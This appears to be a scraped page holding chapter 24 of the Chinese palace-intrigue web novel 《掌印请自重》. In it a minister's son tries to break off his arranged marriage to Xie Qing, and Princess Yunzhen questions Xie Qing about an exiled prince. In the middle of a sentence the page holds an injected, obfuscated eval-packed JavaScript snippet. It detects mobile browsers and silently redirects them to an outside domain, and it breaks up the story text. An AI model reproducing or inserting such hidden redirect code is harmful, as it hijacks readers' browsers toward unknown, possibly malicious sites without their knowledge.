24. 易主
作品:《掌印请自重》 礼部尚书府邸高墙大院,大门两侧蹲着一对石狮子,中间朱漆大门高高矗立。
正堂悬着圣上御笔亲书的匾额,梁上木雕繁复精细,楠木桌椅,雕花屏风,尚未步入正堂便已闻见龙涎香。
合府上下无不彰显主人家的富贵。
礼部尚书吕宏是出了名的宠儿子,但也出于保住府上的荣华富贵,他绝不允许吕明触怒皇家。
正堂主位上的吕宏手持书卷,始终没抬头,只淡淡对吕明说了句:“此事按我说的办。”
站着的吕明见父亲态度坚决,急得上前了两步,蹙眉道:“父亲原先不是答应我了吗?”
吕宏放下书卷,好声好气回应:“今时不同往日,谢家庶女已攀上昭华长公主,日后你若休妻,她少不了会在长公主面前说你的不是。”
吕明瘪了瘪嘴,“谢晴不过是教长公主女工罢了,在长公主面前能有几分份量?”
吕宏叹口气,吕明从小到大凡事皆由他操心,吃喝玩乐银子管够,犯了事有他这个好爹爹善后,也怪不得吕明做任何事都没半点顾及。
“日日登门教长公主女红的人若是个弃妇,长公主面子往哪儿搁?”
吕宏耐心地跟吕明讲明利害关系,但这么多年给吕明养成的不知天高地厚的性子,奈何吕宏如何说,吕明都是一副不服气的样子。
“不过一个长公主而已,还能干涉朝廷官员家的琐事?”
“太后疼爱长公主,就是长公主无权干涉,太后也不会容许长公主连带着受辱。”
吕宏不愿再多说什么,起身拍了拍吕明的肩膀,好言相劝:“你那相好,往后就断了吧,跟谢家的这桩婚事绝不可闹出洋相。”
吕明说话的语气急促起来,“阿宁已有身孕,这如何断得了?难道父亲忍心让儿子的骨肉不入吕家族谱吗?”
吕宏原以为吕明仅是同那官户之女有几分情罢了,他劝说几番便可将此事拉回正轨,可怎知两人竟闹出了个孩子。
吕宏气得指着吕明质问:“你到底还有多少事瞒着我?!”
“阿宁已有一月身孕……儿子本想日后寻个谢晴的错,休妻再迎阿宁和孩子进门,也好给阿宁个交代。”
“你倒是体谅她,你怎么不体谅体谅为父呢?”吕宏深深叹口气。
吕明抓住吕宏的胳膊,恳求道:“父亲,您就算看在您孙儿的份上,您也要成全儿子和阿宁啊!”
吕宏回坐于主位,喝了一口茶,沉思片刻后道:“那就在谢家庶女过门后,想办法让她同意你纳妾,这样才不会遭人诟病。”
“不行啊父亲!”
吕宏第一次对儿子露出不耐烦的神情,“又怎么了?”
“以阿宁的性子,她是绝不为妾的,她曾说,若要为妾,便是要她一尸两命,这要是闹到圣上面前,怕也不好收场。”
吕宏狠狠拍了下桌案,“你也只不好收场!”
“父亲,您想个办法啊,要不我们和谢家退婚吧?”
“好端端的要退婚,若没个理由定不能服众,你呀,真是要把为父气死才甘心呐!”
“儿子去找谢晴,反正儿子那般给她气受,她怕也不愿嫁给我,至于她父亲那边,便由她去哭闹好了。”
吕宏又抿了口茶才顺过气来,“反正如何也不能让人知晓你和外头那女子的事,尤其不能让谢家庶女向长公主说我吕家的不是!”
吕明俯身道:“父亲放心,儿子会处理好的。”
语毕,吕明疾步出府寻谢晴去了。
只是不巧,吕明登门时,谢府的下人称谢晴去了长公主府,他随即冷哼一声,转身寻他的阿宁去了。
谢晴来时恰与沈今鹤擦肩而过,她微微俯身,那位却视若无睹,走得不疾不徐。
此前因着许皇后派人登门告知谢父和谢夫人,长公主钦点了谢晴为女红先生,故而谢晴的日子已不似从前那般举步艰难。
她对云蓁心怀感恩,日日登门悉心指导,这几日云蓁有伤在身无以学习,她亦是常来看望。
有时谢晴同云蓁说起往日对她颐指气使的谢夫人现如今已鲜找她的麻烦,父亲看她的眼神也渐柔和起来。
每每听到这些,云蓁都觉得太后表面上对她极好,竟还帮了她个大忙,至少京中人中有八成碍于太后的面子而敬重她。
至于剩下的二成,要么是如傅贵妃那种明知太后厌恶云蓁,被太后当作对付云蓁的棋子的人,要么就如沈今鹤这般,除了他主子圣上,任何人都入不了他的眼。
雪绒给谢晴搬了把椅子过来,谢晴将一油纸包呈给云蓁,“这是东街霖楼的绿豆酥,殿下尝尝。”
云蓁颔首接过,“难为你这些日子来陪我说话。”
“能与殿下相识本就是臣女三生有幸,臣女感激殿下不嫌弃臣女的出身。”
“听你说过你母家是宁州人?”
谢晴点头道:“是。”
“本宫听闻宁州百姓安居乐业,民风甚佳,有你祖父这样尽心为民的地方官乃北宣之幸,本宫敬重还来不及,又何谈嫌弃?”
谢晴每每参与京中贵女的花会,都少不了被人指摘,从未想过能得人尊重,今日听云蓁一言,她抿了抿嘴,抬眼间尽是感恩。
云蓁问:“本宫记得本宫有个皇兄早些年被派往宁州,你可认得他?”
谢晴转着眼珠思索一番,回道:“殿下说的是穆王殿下,生母曾带臣女回乡探亲,臣女偶然间见过穆王。”
“本宫若没记错,皇兄十一岁就被送去了宁州,那时本宫也才六岁,这么多年不见,也不知皇兄可还如儿时那般品行端正?”
“那次返乡臣女与穆王说过几句话,他温和有礼,也听祖父说起穆王品德高尚,是真正的君子之风。”
云蓁眼里放光,这些日子埋在心底的打算渐起涟漪,“如此甚好。”
穆王名唤云隐,是前朝美人之子。
懿贞皇后和宣德太子死后,身为淑妃的钟氏被立为继后,她的儿子云启则立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958929|160002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为太子。
太子云启比云隐年长,却不如云隐文武兼修、博学刻苦,朝臣对云隐的评价越来越好,钟氏开始担心好不容易落在云启头上的太子之后被云隐抢走,故而常常给先帝吹枕边风,说云隐居心叵测,觊觎皇位,后面还闹出了云隐加害太子一事,此事在京中影响颇大,先帝不得不下旨让云隐去宁州修身养性。
这一去,云隐便再没回京,甚至连先帝驾崩,钟氏都未将宁州的这位王爷召回。
当然,加害太子之事的真假无人知晓,亦无人敢妄议,尤其太子即位后,京中便再无关于穆王的事。
人们只知宁州有位约莫此生都不会再踏足京城的闲散王爷。
但云蓁知道,以太后的德行来看,穆王八成是着了太后的道才落得这副田地,所以穆王有一点同云蓁一样,便是恨极了太后。
既是有着同一敌人,何不如与沈今鹤那般结成盟友?
从生辰宴上发生的种种来看,圣上对云蓁根本就无半分兄妹情谊,倘若太后再寻到机会让圣上处死云蓁,圣上定将照做。
与其心惊胆战地在刀尖上保命,不如换个对云蓁没有杀心的人坐拥北宣江山。
穆王听上去是个不错的人选。
云蓁将纸包打开,从中拿了两块分别递给谢晴和雪绒,自己又拿起一块咬了一口,笑道:“味道不错。”
她继续道:“日后若寻得机会,本宫助谢小姐回乡探望。”
谢晴眼前一亮,但不过须臾她又泄了气,“谢殿下好意,但臣女已不奢望,尤其嫁入吕家,回宁州这三个字臣女想都不敢想。”
“谁说你要嫁入吕家了?”
听似疑惑却带有否定的声音从床榻上传来,谢晴一怔,眨巴着眼睛望着云蓁。
“吕明那薄情郎近日就会来寻你取消婚约。”云蓁笑道。
这下谢晴更是狐疑,不知薄情郎从何说起,更不晓得明是婚期在即,何谈取消婚约?
“殿下此话何意?”
“你只管跟你父亲说,如今吕家欲取消婚约,你父亲若不怕在朝堂上抬不起头,大可继续死缠烂打,执意让你续弦,但有件事情你谢家须知晓,吕明在外头有个只想当正妻的女人,只怕你吕少夫人的位子还没捂热就要拱手相让了,届时谢家出了个弃妇,不但没能谋取家族利益,还会让谢家颜面扫地。”
谢晴愣愣听着云蓁的话,眼中满是难以置信,嘴唇微微张开,却半天没说出一个字。
云蓁喝了口水,歪头问道:“还是说你想嫁?”
谢晴猛地摇头,双手乱摆,仿佛要挣脱束缚,起身坚定道:“臣女不想。”
随后,她上前一步俯身道:“此番若真能取消婚约,臣女愿做牛做马报答殿下!”
“这倒不必,前些日子本宫梦见远在宁州的皇兄,忆起儿时皇兄相伴的日子,念他念得紧,烦请谢小姐将你所知关于皇兄的一切都讲与本宫听,也好解本宫的思念之苦。”
谢晴颔首道:“是。”